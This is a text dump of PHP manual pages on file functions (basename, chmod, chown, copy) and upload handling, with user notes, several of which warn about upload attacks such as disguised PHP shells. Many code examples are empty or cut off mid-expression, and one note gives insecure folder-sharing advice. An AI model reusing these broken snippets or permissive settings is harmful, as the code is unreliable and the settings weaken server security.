(PHP 4, PHP 5, PHP 7)
basename — Returns trailing name component of path
Description~
>
string basename ( string $path [, string $suffix ] )
<
Given a string containing the path to a file or directory, this
function will return the trailing name component.
Note:
basename() operates naively on the input string, and is not aware of
the actual filesystem, or path components such as "..".
Caution
basename() is locale aware, so for it to see the correct basename with
multibyte character paths, the matching locale must be set using the
setlocale() function.
Parameters~
path
-----
A path.
On Windows, both slash (/) and backslash (\) are used as directory
separator character. In other environments, it is the forward slash
(/).
suffix
------
If the name component ends in suffix this will also be cut off.
Return Values~
Returns the base name of the given path.
Examples~
Example #1 basename() example
>
<
The above example will output:
1) sudoers
2) sudoers.d
3) passwd
4) etc
5) .
6)
See Also~
|dirname|() - Returns a parent directory's path
|pathinfo|() - Returns information about a file path
23 stephane dot fidanza at gmail dot com ¶10 years ago~
Support of the $suffix parameter has changed between PHP4 and PHP5: in
PHP4, $suffix is removed first, and then the core basename is applied.
conversely, in PHP5, $suffix is removed AFTER applying core basename.
Example:
>
<
Result in PHP4: file
Result in PHP5: Texture)
9 (remove) dot nasretdinov at (remove) dot gmail dot com ¶8 years ago~
There is only one variant that works in my case for my Russian UTF-8
letters:
>
<
It is intented for UNIX servers
--------------------------------------------------------------------------------
*chgrp*
+-------+~
| chgrp |~
+-------+~
(PHP 4, PHP 5, PHP 7)
chgrp — Changes file group
Description~
>
bool chgrp ( string $filename , mixed $group )
<
Attempts to change the group of the file filename to group.
Only the superuser may change the group of a file arbitrarily; other
users may change the group of a file to any group of which that user
is a member.
Parameters~
filename
--------
Path to the file.
group
-----
A group name or number.
Return Values~
Returns TRUE on success or FALSE on failure.
Examples~
Example #1 Changing a file's group
>
<
Notes~
Note: This function will not work on remote files as the file to be
examined must be accessible via the server's filesystem.
Note: When safe mode is enabled, PHP checks whether the files or
directories being operated upon have the same UID (owner) as the
script that is being executed.
See Also~
|chown|() - Changes file owner
|chmod|() - Changes file mode
--------------------------------------------------------------------------------
*chmod*
+-------+~
| chmod |~
+-------+~
(PHP 4, PHP 5, PHP 7)
chmod — Changes file mode
Description~
>
bool chmod ( string $filename , int $mode )
<
Attempts to change the mode of the specified file to that given in
mode.
Parameters~
filename
--------
Path to the file.
mode
-----
Note that mode is not automatically assumed to be an octal value, so
to ensure the expected operation, you need to prefix mode with a zero
(0). Strings such as "g+w" will not work properly.
>
<
The mode parameter consists of three octal number components
specifying access restrictions for the owner, the user group in which
the owner is in, and to everybody else in this order. One component
can be computed by adding up the needed permissions for that target
user base. Number 1 means that you grant execute rights, number 2
means that you make the file writeable, number 4 means that you make
the file readable. Add up these numbers to specify needed rights. You
can also read more about modes on Unix systems with 'man 1 chmod' and
'man 2 chmod'.
>
<
Return Values~
Returns TRUE on success or FALSE on failure.
Notes~
Note:
The current user is the user under which PHP runs. It is probably not
the same user you use for normal shell or FTP access. The mode can be
changed only by user who owns the file on most systems.
Note: This function will not work on remote files as the file to be
examined must be accessible via the server's filesystem.
Note:
When safe mode is enabled, PHP checks whether the files or directories
you are about to operate on have the same UID (owner) as the script
that is being executed. In addition, you cannot set the SUID, SGID and
sticky bits.
See Also~
|chown|() - Changes file owner
|chgrp|() - Changes file group
|fileperms|() - Gets file permissions
|stat|() - Gives information about a file
User Contributed Notes 18 notes
42 MethodicalFool ¶6 years ago~
BEWARE, a couple of the examples in the comments suggest doing
something like this:
>
chmod(file_or_dir_name, intval($mode, 8));
<
However, if $mode is an integer then intval( ) won't modify it. So,
this code...
>
$mode = 644;
chmod('/tmp/test', intval($mode, 8));
<
...produces permissions that look like this:
1--w----r-T
Instead, use octdec( ), like this:
>
chmod(file_or_dir_name, octdec($mode));
<
See also: http://www.php.net/manual/en/function.octdec.php
23 Geoff W ¶7 years ago~
BEWARE using quotes around the second parameter...
If you use quotes eg
>
chmod (file, "0644");
<
php will not complain but will do an implicit conversion to an int
before running chmod. Unfortunately the implicit conversion doesn't
take into account the octal string so you end up with an integer
version 644, which is 1204 octal
11 pmichaud at pobox dot com ¶14 years ago~
In the previous post, stickybit avenger writes: Just a little hint. I
was once adwised to set the 'sticky bit', i.e. use 1777 as
chmod-value...
Note that in order to set the sticky bit on a file one must use
'01777' (oct) and not '1777' (dec) as the parameter to chmod:
>
<
Rule of thumb: always prefix octal mode values with a zero.
13 Anonymous ¶8 years ago~
Changes file mode recursive in $pathname to $filemode
>
<
16 masha at mail dot ru ¶11 years ago~
Usefull reference:
Value Permission Level
400 Owner Read
200 Owner Write
100 Owner Execute
40 Group Read
20 Group Write
10 Group Execute
4 Global Read
2 Global Write
1 Global Execute
(taken from http://www.onlamp.com/pub/a/php/2003/02/06/php_foundations.html)
--------------------------------------------------------------------------------
*chown*
+-------+~
| chown |~
+-------+~
(PHP 4, PHP 5, PHP 7)
chown — Changes file owner
Description~
>
bool chown ( string $filename , mixed $user )
<
Attempts to change the owner of the file filename to user user. Only
the superuser may change the owner of a file.
Parameters~
filename
--------
Path to the file.
user
-----
A user name or number.
Return Values~
Returns TRUE on success or FALSE on failure.
Examples~
Example #1 Simple chown() usage
>
<
The above example will output something similar to:
Array
(
[name] => root
[passwd] => x
[uid] => 0
[gid] => 0
[gecos] => root
[dir] => /root
[shell] => /bin/bash
)
Notes~
Note: This function will not work on remote files as the file to be
examined must be accessible via the server's filesystem.
Note: When safe mode is enabled, PHP checks whether the files or
directories being operated upon have the same UID (owner) as the
script that is being executed.
See Also~
|chmod|() - Changes file mode
|chgrp|() - Changes file group
--------------------------------------------------------------------------------
*clearstatcache*
+----------------+~
| clearstatcache |~
+----------------+~
(PHP 4, PHP 5, PHP 7)
clearstatcache — Clears file status cache
Description~
>
void clearstatcache ([ bool $clear_realpath_cache = false [, string $filename ]] )
<
When you use stat(), lstat(), or any of the other functions listed in
the affected functions list (below), PHP caches the information those
functions return in order to provide faster performance. However, in
certain cases, you may want to clear the cached information. For
instance, if the same file is being checked multiple times within a
single script, and that file is in danger of being removed or changed
during that script's operation, you may elect to clear the status
cache. In these cases, you can use the clearstatcache() function to
clear the information that PHP caches about a file.
You should also note that PHP doesn't cache information about
non-existent files. So, if you call file_exists() on a file that
doesn't exist, it will return FALSE until you create the file. If you
create the file, it will return TRUE even if you then delete the file.
However unlink() clears the cache automatically.
Note:
This function caches information about specific filenames, so you only
need to call clearstatcache() if you are performing multiple
operations on the same filename and require the information about that
particular file to not be cached. Affected functions include stat(),
lstat(), file_exists(), is_writable(), is_readable(), is_executable(),
is_file(), is_dir(), is_link(), filectime(), fileatime(), filemtime(),
fileinode(), filegroup(), fileowner(), filesize(), filetype(), and
fileperms().
Parameters~
clear_realpath_cache
--------------------
Whether to clear the realpath cache or not.
filename
--------
Clear the realpath and the stat cache for a specific filename only;
only used if clear_realpath_cache is TRUE.
Return Values~
No value is returned.
Changelog~
Version Description
5.3.0 Added optional clear_realpath_cache and filename parameters.
Examples~
Example #1 clearstatcache() example
>
<
The above example will output something similar to:
UID @ Sun, 12 Oct 2008 20:48:28 +0100: root
UID @ Sun, 12 Oct 2008 20:48:28 +0100: root
UID @ Sun, 12 Oct 2008 20:48:28 +0100: ross
User Contributed Notes 3 notes
15 matt_m at me dot com ¶5 years ago~
unlink() does not clear the cache if you are performing file_exists()
on a remote file like:
>
<
In this case, even after you unlink() successfully, you must call clearstatcache().
>
<
file_exists() then properly returns false.
--------------------------------------------------------------------------------
*copy*
+------+~
| copy |~
+------+~
(PHP 4, PHP 5, PHP 7)
copy — Copies file
Description~
>
bool copy ( string $source , string $dest [, resource $context ] )
<
Makes a copy of the file source to dest.
If you wish to move a file, use the rename() function.
Parameters~
source
------
Path to the source file.
dest
-----
The destination path. If dest is a URL, the copy operation may fail if
the wrapper does not support overwriting of existing files.
Warning
If the destination file already exists, it will be overwritten.
context
A valid context resource created with stream_context_create().
Return Values~
Returns TRUE on success or FALSE on failure.
Changelog~
Version Description
5.3.4 Changed the context parameter to actually have an effect.
Previously, any context was ignored.
5.3.0 Added context support.
4.3.0 Both source and dest may now be URLs if the "fopen wrappers"
have been enabled. See fopen() for more details.
Examples~
Example #1 copy() example
>
<
See Also~
|move_uploaded_file|() - Moves an uploaded file to a new location
|rename|() - Renames a file or directory
The section of the manual about |handling_file_uploads|
108 simonr_at_orangutan_dot_co_dot_uk ¶12 years ago~
Having spent hours tacking down a copy() error: Permission denied ,
(and duly worrying about chmod on winXP) , its worth pointing out that
the 'destination' needs to contain the actual file name ! --- NOT just
the path to the folder you wish to copy into.......
DOH !
hope this saves somebody hours of fruitless debugging
56 cooper at asu dot ntu-kpi dot kiev dot ua ¶11 years ago~
It take me a long time to find out what the problem is when i've got
an error on copy(). It DOESN'T create any directories. It only copies
to existing path. So create directories before. Hope i'll help,
46 steve a h ¶8 years ago~
Don't forget; you can use copy on remote files, rather than doing
messy fopen stuff. e.g.
>
\n".$errors['message'];
} else {
echo "File copied from remote!";
}
?>
<
3 hugo_2000 at gmx dot at ¶1 year ago~
If you try to copy a file to itself - e.g. if the target directory is
just a symlink to the source directory - copy will return false. just
like on the command line.
15 absorbentshoulderman at gmail dot com ¶4 years ago~
A nice simple trick if you need to make sure the folder exists first:
>
<
That simple.
22 gimmicklessgpt at gmail dot com ¶7 years ago~
Here's a simple recursive function to copy entire directories
Note to do your own check to make sure the directory exists that you
first call it on.
>
<
10 promaty at gmail dot com ¶5 years ago~
Here is a simple script that I use for removing and copying non-empty
directories. Very useful when you are not sure what is the type of a
file.
I am using these for managing folders and zip archives for my website
plugins.
>
<
Cheers!
--------------------------------------------------------------------------------
*handling_file_uploads*
+-----------------------+~
| Handling file uploads |~
+-----------------------+~
Table of Contents~
|POST_method_uploads|
|Error_Messages_Explained|
|Common_Pitfalls|
|Uploading_multiple_files|
|PUT_method_support|
251 CertaiN ¶3 years ago~
You'd better check $_FILES structure and values throughly. The
following code cannot cause any errors absolutely.
Example:
>
1000000) {
throw new RuntimeException('Exceeded filesize limit.');
}
// DO NOT TRUST $_FILES['upfile']['mime'] VALUE !!
// Check MIME Type by yourself.
$finfo = new finfo(FILEINFO_MIME_TYPE);
if (false === $ext = array_search(
$finfo->file($_FILES['upfile']['tmp_name']),
array(
'jpg' => 'image/jpeg',
'png' => 'image/png',
'gif' => 'image/gif',
),
true
)) {
throw new RuntimeException('Invalid file format.');
}
// You should name it uniquely.
// DO NOT USE $_FILES['upfile']['name'] WITHOUT ANY VALIDATION !!
// On this example, obtain safe unique name from its binary data.
if (!move_uploaded_file(
$_FILES['upfile']['tmp_name'],
sprintf('./uploads/%s.%s',
sha1_file($_FILES['upfile']['tmp_name']),
$ext
)
)) {
throw new RuntimeException('Failed to move uploaded file.');
}
echo 'File is uploaded successfully.';
} catch (RuntimeException $e) {
echo $e->getMessage();
}
?>
<
22 xmontero at dsitelecom dot com ¶5 years ago~
If "large files" (ie: 50 or 100 MB) fail, check this:
It may happen that your outgoing connection to the server is slow, and
it may timeout not the "execution time" but the "input time", which
for example in our system defaulted to 60s. In our case a large upload
could take 1 or 2 hours.
Additionally we had "session settings" that should be preserved after
upload.
1) You might want review those ini entries:
* session.gc_maxlifetime
* max_input_time
* max_execution_time
* upload_max_filesize
* post_max_size
2) Still fails? Caution, not all are changeable from the script
itself. ini_set() might fail to override.
More info here:
http://www.php.net/manual/es/ini.list.php
You can see that the "upload_max_filesize", among others, is
PHP_INI_PERDIR and not PHP_INI_ALL. This invalidates to use ini_set():
http://www.php.net/manual/en/configuration.changes.modes.php
Use .htaccess instead.
3) Still fails?. Just make sure you enabled ".htaccess" to overwrite
your php settings. This is made in the apache file. You need at least
AllowOverride Options.
See this here: http://www.php.net/manual/en/configuration.changes.php
You will necessarily allow this manually in the case your master files come with AllowOverride None.
Conclussion:
Depending on the system, to allow "large file uploads" you must go up
and up and up and touch your config necessarily up to the apache
config.
Sample files:
These work for me, for 100MB uploads, lasting 2 hours:
In apache-virtual-host:
-----------------------------------------------------------
AllowOverride Options
-----------------------------------------------------------
In .htaccess:
-----------------------------------------------------------
php_value session.gc_maxlifetime 10800
php_value max_input_time 10800
php_value max_execution_time 10800
php_value upload_max_filesize 110M
php_value post_max_size 120M
-----------------------------------------------------------
In the example,
- As I last 1 to 2 hours, I allow 3 hours (3600x3)
- As I need 100MB, I allow air above for the file (110M) and a bit
more for the whole post (120M).
12 ceo at l-i-e dot com ¶11 years ago~
Using /var/www/uploads in the example code is just criminal, imnsho.
One should *NOT* upload untrusted files into your web tree, on any
server.
Nor should any directory within your web tree have permissions
sufficient for an upload to succeed, on a shared server. Any other
user on that shared server could write a PHP script to dump anything
they want in there!
The $_FILES['userfile']['type'] is essentially USELESS.
A. Browsers aren't consistent in their mime-types, so you'll never
catch all the possible combinations of types for any given file
format.
B. It can be forged, so it's crappy security anyway.
One's code should INSPECT the actual file to see if it looks kosher.
For example, images can quickly and easily be run through imagegetsize
and you at least know the first N bytes LOOK like an image. That
doesn't guarantee it's a valid image, but it makes it much less likely
to be a workable security breaching file.
For Un*x based servers, one could use exec and 'file' command to see
if the Operating System thinks the internal contents seem consistent
with the data type you expect.
I've had trouble in the past with reading the '/tmp' file in a file
upload. It would be nice if PHP let me read that file BEFORE I tried
to move_uploaded_file on it, but PHP won't, presumably under the
assumption that I'd be doing something dangerous to read an untrusted
file. Fine. One should move the uploaded file to some staging
directory. Then you check out its contents as thoroughly as you can.
THEN, if it seems kosher, move it into a directory outside your web
tree. Any access to that file should be through a PHP script which
reads the file. Putting it into your web tree, even with all the
checks you can think of, is just too dangerous, imnsho.
There are more than a few User Contributed notes here with naive (bad)
advice. Be wary.
13 jan at lanteraudio dot nl ¶4 years ago~
Also stumbled on the max_file_size problem, in particular getting no
response, no error whatsoever when uploading a file bigger than the
set upload_max_filesize.
I found that it's not the upload_max_filesize setting, but instead the
post_max_size setting causing this no response issue. So if you set
post_max_size way larger than upload_max_filesize, at least you are
likely to get an error response when filesize exceeds
upload_max_filesize but is still within the limits of post_max_size.
Hope this helps anyone.
5 myko AT blue needle DOT com ¶11 years ago~
Just a quick note that there's an issue with Apache, the MAX_FILE_SIZE
hidden form field, and zlib.output_compression = On. Seems that the
browser continues to post up the entire file, even though PHP throws
the MAX_FILE_SIZE error properly. Turning zlib compression to OFF
seems to solve the issue. Don't have time to dig in and see who's at
fault, but wanted to save others the hassle of banging their head on
this one.
12 svenr at selfhtml dot org ¶10 years ago~
Clarification on the MAX_FILE_SIZE hidden form field:
PHP has the somewhat strange feature of checking multiple "maximum
file sizes".
The two widely known limits are the php.ini settings "post_max_size"
and "upload_max_size", which in combination impose a hard limit on the
maximum amount of data that can be received.
In addition to this PHP somehow got implemented a soft limit feature.
It checks the existance of a form field names "max_file_size" (upper
case is also OK), which should contain an integer with the maximum
number of bytes allowed. If the uploaded file is bigger than the
integer in this field, PHP disallows this upload and presents an error
code in the $_FILES-Array.
The PHP documentation also makes (or made - see bug #40387 -
http://bugs.php.net/bug.php?id=40387) vague references to "allows
browsers to check the file size before uploading". This, however, is
not true and has never been. Up til today there has never been a RFC
proposing the usage of such named form field, nor has there been a
browser actually checking its existance or content, or preventing
anything. The PHP documentation implies that a browser may alert the
user that his upload is too big - this is simply wrong.
Please note that using this PHP feature is not a good idea. A form
field can easily be changed by the client. If you have to check the
size of a file, do it conventionally within your script, using a
script-defined integer, not an arbitrary number you got from the HTTP
client (which always must be mistrusted from a security standpoint).
9 jedi_aka at yahoo dot com ¶10 years ago~
For those of you trying to make the upload work with IIS on windows
XP/2000/XP Media and alike here is a quick todo.
1) Once you have created subdirectories "uploads/" in the same
directory wher you code is running use the code from oportocala above
and to make absolutely sure sure that the file you are trying to right
is written under that folder. ( I recomend printing it using echo
$uploadfile; )
2) In windows explorer browse to the upload directory created above
and share it. To do that execute the following substeps.
a) Right click the folder click "sharing and security..."
b) Check 'Share this folder on the network'
c) Check 'Allow network users to change my files' ( THIS STEP IS VERY IMPORTANT )
d) click 'ok' or 'apply'
3) you can then go in the IIS to set read and write permissions for
it. To do that execute the followin substeps.
a) Open IIS (Start/Controp Panel (classic View)/ Admistrative
tools/Internet Information Service
b) Browse to your folder (the one we created above)
c) right click and select properties.
d) in the Directory tab, make sure, READ, WRITE, AND DIRECTORY
BROWSING are checked.
e) For the security freaks out there, You should also make sure
that 'execute permissions:' are set to Script only or lower (DO NOT
SET IT TO 'script and executable)'( that is because someone could
upload a script to your directory and run it. And, boy, you do not
want that to happen).
there U go.
Send me feed back it if worked for you or not so that I can update the todo.
jedi_aka@yahoo.com
PS: BIG thanks to oportocala
11 info at levaravel dot com ¶8 years ago~
A little codesnippet which returns a filesize in a more legible format.
>
0.9){
$filesize = $filesize / $decr;
$step++;
}
return round($filesize,2).' '.$prefix[$step];
} else {
return 'NaN';
}
}
?>
<
14 keith at phpdiary dot org ¶11 years ago~
Caution: *DO NOT* trust $_FILES['userfile']['type'] to verify the
uploaded filetype; if you do so your server could be compromised.
I'll show you why below:
The manual (if you scroll above) states: $_FILES['userfile']['type'] -
The mime type of the file, if the browser provided this information.
An example would be "image/gif".
Be reminded that this mime type can easily be faked as PHP doesn't go
very far in verifying whether it really is what the end user reported!
So, someone could upload a nasty .php script as an "image/gif" and
execute the url to the "image".
My best bet would be for you to check the extension of the file and
using exif_imagetype() to check for valid images. Many people have
suggested the use of getimagesize() which returns an array if the file
is indeed an image and false otherwise, but exif_imagetype() is much
faster. (the manual says it so)
--------------------------------------------------------------------------------
*POST_method_uploads*
+---------------------+~
| POST method uploads |~
+---------------------+~
This feature lets people upload both text and binary files. With PHP's
authentication and file manipulation functions, you have full control
over who is allowed to upload and what is to be done with the file
once it has been uploaded.
PHP is capable of receiving file uploads from any RFC-1867 compliant
browser.
Note: Related Configurations Note
See also the file_uploads, upload_max_filesize, upload_tmp_dir,
post_max_size and max_input_time directives in php.ini PHP also
supports PUT-method file uploads as used by Netscape Composer and
W3C's Amaya clients. See the PUT Method Support for more details.
Example #1 File Upload Form
A file upload screen can be built by creating a special form which
looks something like this:
>
<
The __URL__ in the above example should be replaced, and point to a
PHP file.
The MAX_FILE_SIZE hidden field (measured in bytes) must precede the
file input field, and its value is the maximum filesize accepted by
PHP. This form element should always be used as it saves users the
trouble of waiting for a big file being transferred only to find that
it was too large and the transfer failed. Keep in mind: fooling this
setting on the browser side is quite easy, so never rely on files with
a greater size being blocked by this feature. It is merely a
convenience feature for users on the client side of the application.
The PHP settings (on the server side) for maximum-size, however,
cannot be fooled.
Note:
Be sure your file upload form has attribute
enctype="multipart/form-data" otherwise the file upload will not work.
The global $_FILES will contain all the uploaded file information. Its
contents from the example form is as follows. Note that this assumes
the use of the file upload name userfile, as used in the example
script above. This can be any name.
$_FILES['userfile']['name']
The original name of the file on the client machine.
$_FILES['userfile']['type']
The mime type of the file, if the browser provided this information. An example would be "image/gif". This mime type is however not checked on the PHP side and therefore don't take its value for granted.
$_FILES['userfile']['size']
The size, in bytes, of the uploaded file.
$_FILES['userfile']['tmp_name']
The temporary filename of the file in which the uploaded file was stored on the server.
$_FILES['userfile']['error']
The error code associated with this file upload.
Files will, by default be stored in the server's default temporary
directory, unless another location has been given with the
upload_tmp_dir directive in php.ini. The server's default directory
can be changed by setting the environment variable TMPDIR in the
environment in which PHP runs. Setting it using putenv() from within a
PHP script will not work. This environment variable can also be used
to make sure that other operations are working on uploaded files, as
well.
Example #2 Validating file uploads
See also the function entries for is_uploaded_file() and
move_uploaded_file() for further information. The following example
will process the file upload that came from a form.
>
';
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "Possible file upload attack!\n";
}
echo 'Here is some more debugging info:';
print_r($_FILES);
print "";
?>
<
The PHP script which receives the uploaded file should implement
whatever logic is necessary for determining what should be done with
the uploaded file. You can, for example, use the
$_FILES['userfile']['size'] variable to throw away any files that are
either too small or too big. You could use the
$_FILES['userfile']['type'] variable to throw away any files that
didn't match a certain type criteria, but use this only as first of a
series of checks, because this value is completely under the control
of the client and not checked on the PHP side. Also, you could use
$_FILES['userfile']['error'] and plan your logic according to the
error codes. Whatever the logic, you should either delete the file
from the temporary directory or move it elsewhere.
If no file is selected for upload in your form, PHP will return
$_FILES['userfile']['size'] as 0, and $_FILES['userfile']['tmp_name']
as none.
The file will be deleted from the temporary directory at the end of
the request if it has not been moved away or renamed.
Example #3 Uploading array of files
PHP supports HTML array feature even with files.
>
$error) {
if ($error == UPLOAD_ERR_OK) {
$tmp_name = $_FILES["pictures"]["tmp_name"][$key];
// basename() may prevent filesystem traversal attacks;
// further validation/sanitation of the filename may be appropriate
$name = basename($_FILES["pictures"]["name"][$key]);
move_uploaded_file($tmp_name, "data/$name");
}
}
?>
<
File upload progress bar can be implemented using Session Upload
Progress.
User Contributed Notes 15 notes
255 Anonymous ¶2 years ago~
For the love of god, don't do what michael suggests in
http://php.net/manual/en/features.file-upload.post-method.php#94973 or
you will be instantly pwned by someone uploading a php-shell to your
script dir.
When the mods come to delete this note for violating the
don't-refer-to-another-note rule, please please /please/ delete
michael's note too.
40 daevid at daevid dot com ¶7 years ago~
I think the way an array of attachments works is kind of cumbersome.
Usually the PHP guys are right on the money, but this is just
counter-intuitive. It should have been more like:
Array
(
[0] => Array
(
[name] => facepalm.jpg
[type] => image/jpeg
[tmp_name] => /tmp/phpn3FmFr
[error] => 0
[size] => 15476
)
[1] => Array
(
[name] =>
[type] =>
[tmp_name] =>
[error] => 4
[size] =>
)
)
and not this
Array
(
[name] => Array
(
[0] => facepalm.jpg
[1] =>
)
[type] => Array
(
[0] => image/jpeg
[1] =>
)
[tmp_name] => Array
(
[0] => /tmp/phpn3FmFr
[1] =>
)
[error] => Array
(
[0] => 0
[1] => 4
)
[size] => Array
(
[0] => 15476
[1] => 0
)
)
Anyways, here is a fuller example than the sparce one in the documentation above:
>
$error)
{
$tmp_name = $_FILES["attachment"]["tmp_name"][$key];
if (!$tmp_name) continue;
$name = basename($_FILES["attachment"]["name"][$key]);
if ($error == UPLOAD_ERR_OK)
{
if ( move_uploaded_file($tmp_name, "/tmp/".$name) )
$uploaded_array[] .= "Uploaded file '".$name."'. \n";
else
$errormsg .= "Could not move uploaded file '".$tmp_name."' to '".$name."' \n";
}
else $errormsg .= "Upload error. [".$error."] on file '".$name."' \n";
}
?>
<
6 mpyw ¶9 months ago~
Do not use Coreywelch or Daevid's way, because their methods can
handle only within two-dimensional structure. $_FILES can consist of
any hierarchy, such as 3d or 4d structure.
The following example form breaks their codes:
>
<
As the solution, you should use PSR-7 based zendframework/zend-diactoros.
GitHub:
https://github.com/zendframework/zend-diactoros
Example:
>
getMethod() !== 'POST') {
http_response_code(405);
exit('Use POST method.');
}
$uploaded_files = $request->getUploadedFiles();
if (
!isset($uploaded_files['files']['x']['y']['z']) ||
!$uploaded_files['files']['x']['y']['z'] instanceof UploadedFileInterface
) {
http_response_code(400);
exit('Invalid request body.');
}
$file = $uploaded_files['files']['x']['y']['z'];
if ($file->getError() !== UPLOAD_ERR_OK) {
http_response_code(400);
exit('File uploading failed.');
}
$file->moveTo('/path/to/new/file');
?>
<
14 eslindsey at gmail dot com ¶8 years ago~
Also note that since MAX_FILE_SIZE hidden field is supplied by the
browser doing the submitting, it is easily overridden from the
clients' side. You should always perform your own examination and
error checking of the file after it reaches you, instead of relying on
information submitted by the client. This includes checks for file
size (always check the length of the actual data versus the reported
file size) as well as file type (the MIME type submitted by the
browser can be inaccurate at best, and intentionally set to an
incorrect value at worst).
8 coreywelch+phpnet at gmail dot com ¶1 year ago~
The documentation doesn't have any details about how the HTML array
feature formats the $_FILES array.
Example $_FILES array:
For single file -
Array
(
[document] => Array
(
[name] => sample-file.doc
[type] => application/msword
[tmp_name] => /tmp/path/phpVGCDAJ
[error] => 0
[size] => 0
)
)
Multi-files with HTML array feature -
Array
(
[documents] => Array
(
[name] => Array
(
[0] => sample-file.doc
[1] => sample-file.doc
)
[type] => Array
(
[0] => application/msword
[1] => application/msword
)
[tmp_name] => Array
(
[0] => /tmp/path/phpVGCDAJ
[1] => /tmp/path/phpVGCDAJ
)
[error] => Array
(
[0] => 0
[1] => 0
)
[size] => Array
(
[0] => 0
[1] => 0
)
)
)
The problem occurs when you have a form that uses both single file and
HTML array feature. The array isn't normalized and tends to make
coding for it really sloppy. I have included a nice method to
normalize the $_FILES array.
>
$file) {
if (!is_array($file['name'])) {
$normalized_array[$index][] = $file;
continue;
}
foreach($file['name'] as $idx => $name) {
$normalized_array[$index][$idx] = [
'name' => $name,
'type' => $file['type'][$idx],
'tmp_name' => $file['tmp_name'][$idx],
'error' => $file['error'][$idx],
'size' => $file['size'][$idx]
];
}
}
return $normalized_array;
}
?>
<
The following is the output from the above method.
Array
(
[document] => Array
(
[0] => Array
(
[name] => sample-file.doc
[type] => application/msword
[tmp_name] => /tmp/path/phpVGCDAJ
[error] => 0
[size] => 0
)
)
[documents] => Array
(
[0] => Array
(
[name] => sample-file.doc
[type] => application/msword
[tmp_name] => /tmp/path/phpVGCDAJ
[error] => 0
[size] => 0
)
[1] => Array
(
[name] => sample-file.doc
[type] => application/msword
[tmp_name] => /tmp/path/phpVGCDAJ
[error] => 0
[size] => 0
)
)
)
--------------------------------------------------------------------------------
*Error_Messages_Explained*
+--------------------------+~
| Error Messages Explained |~
+--------------------------+~
PHP returns an appropriate error code along with the file array. The
error code can be found in the error segment of the file array that is
created during the file upload by PHP. In other words, the error might
be found in $_FILES['userfile']['error'].
UPLOAD_ERR_OK
Value: 0; There is no error, the file uploaded with success.
UPLOAD_ERR_INI_SIZE
Value: 1; The uploaded file exceeds the upload_max_filesize directive in php.ini.
UPLOAD_ERR_FORM_SIZE
Value: 2; The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.
UPLOAD_ERR_PARTIAL
Value: 3; The uploaded file was only partially uploaded.
UPLOAD_ERR_NO_FILE
Value: 4; No file was uploaded.
UPLOAD_ERR_NO_TMP_DIR
Value: 6; Missing a temporary folder. Introduced in PHP 5.0.3.
UPLOAD_ERR_CANT_WRITE
Value: 7; Failed to write file to disk. Introduced in PHP 5.1.0.
UPLOAD_ERR_EXTENSION
Value: 8; A PHP extension stopped the file upload. PHP does not
provide a way to ascertain which extension caused the file upload to
stop; examining the list of loaded extensions with phpinfo() may help.
Introduced in PHP 5.2.0.
User Contributed Notes 17 notes
119 Anonymous ¶8 years ago~
[EDIT BY danbrown AT php DOT net: This code is a fixed version of a
note originally submitted by (Thalent, Michiel Thalen) on
04-Mar-2009.]
This is a handy exception to use when handling upload errors:
>
codeToMessage($code);
parent::__construct($message, $code);
}
private function codeToMessage($code)
{
switch ($code) {
case UPLOAD_ERR_INI_SIZE:
$message = "The uploaded file exceeds the upload_max_filesize directive in php.ini";
break;
case UPLOAD_ERR_FORM_SIZE:
$message = "The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form";
break;
case UPLOAD_ERR_PARTIAL:
$message = "The uploaded file was only partially uploaded";
break;
case UPLOAD_ERR_NO_FILE:
$message = "No file was uploaded";
break;
case UPLOAD_ERR_NO_TMP_DIR:
$message = "Missing a temporary folder";
break;
case UPLOAD_ERR_CANT_WRITE:
$message = "Failed to write file to disk";
break;
case UPLOAD_ERR_EXTENSION:
$message = "File upload stopped by extension";
break;
default:
$message = "Unknown upload error";
break;
}
return $message;
}
}
// Use
if ($_FILES['file']['error'] === UPLOAD_ERR_OK) {
//uploading successfully done
} else {
throw new UploadException($_FILES['file']['error']);
}
?>
<
69 Viktor ¶2 years ago~
Update to Adams old comment.
This is probably useful to someone.
>
'There is no error, the file uploaded with success',
1 => 'The uploaded file exceeds the upload_max_filesize directive in php.ini',
2 => 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form',
3 => 'The uploaded file was only partially uploaded',
4 => 'No file was uploaded',
6 => 'Missing a temporary folder',
7 => 'Failed to write file to disk.',
8 => 'A PHP extension stopped the file upload.',
);
<
69 adam at gotlinux dot us ¶11 years ago~
This is probably useful to someone.
>
"There is no error, the file uploaded with success",
1=>"The uploaded file exceeds the upload_max_filesize directive in php.ini",
2=>"The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form"
3=>"The uploaded file was only partially uploaded",
4=>"No file was uploaded",
6=>"Missing a temporary folder"
);
?>
<
28 stephen at poppymedia dot co dot uk ¶11 years ago~
if post is greater than post_max_size set in php.ini
$_FILES and $_POST will return empty
10 Jeff Miner mrjminer AT gmail DOT com ¶6 years ago~
One thing that is annoying is that the way these constant values are
handled requires processing no error with the equality, which wastes a
little bit of space. Even though "no error" is 0, which typically
evaluates to "false" in an if statement, it will always evaluate to
true in this context.
So, instead of this:
-----
>
<
-----
You have to do this:
-----
>
<
-----
Also, ctype_digit fails, but is_int works. If you're wondering... no,
it doesn't make any sense.
To Schoschie:
You ask the question: Why make stuff complicated when you can make it
easy? I ask the same question since the version of the code you /
Anonymous / Thalent (per danbrown) have posted is unnecessary overhead
and would result in a function call, as well as a potentially lengthy
switch statement. In a loop, that would be deadly... try this
instead:
-----
>
'The uploaded file exceeds the upload_max_filesize directive in php.ini.',
'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.',
'The uploaded file was only partially uploaded.',
'No file was uploaded.',
6=>'Missing a temporary folder.',
'Failed to write file to disk.',
'A PHP extension stopped the file upload.'
);
// Outside a loop...
if($_FILES['userfile']['error']==0) {
// process
} else {
$error_message = $error_types[$_FILES['userfile']['error']];
// do whatever with the error message
}
// In a loop...
for($x=0,$y=count($_FILES['userfile']['error']);$x<$y;++$x) {
if($_FILES['userfile']['error'][$x]==0) {
// process
} else {
$error_message = $error_types[$_FILES['userfile']['error'][$x]];
// Do whatever with the error message
}
}
// When you're done... if you aren't doing all of this in a function that's about to end / complete all the processing and want to reclaim the memory
unset($error_types);
?>
<
--------------------------------------------------------------------------------
*Common_Pitfalls*
+-----------------+~
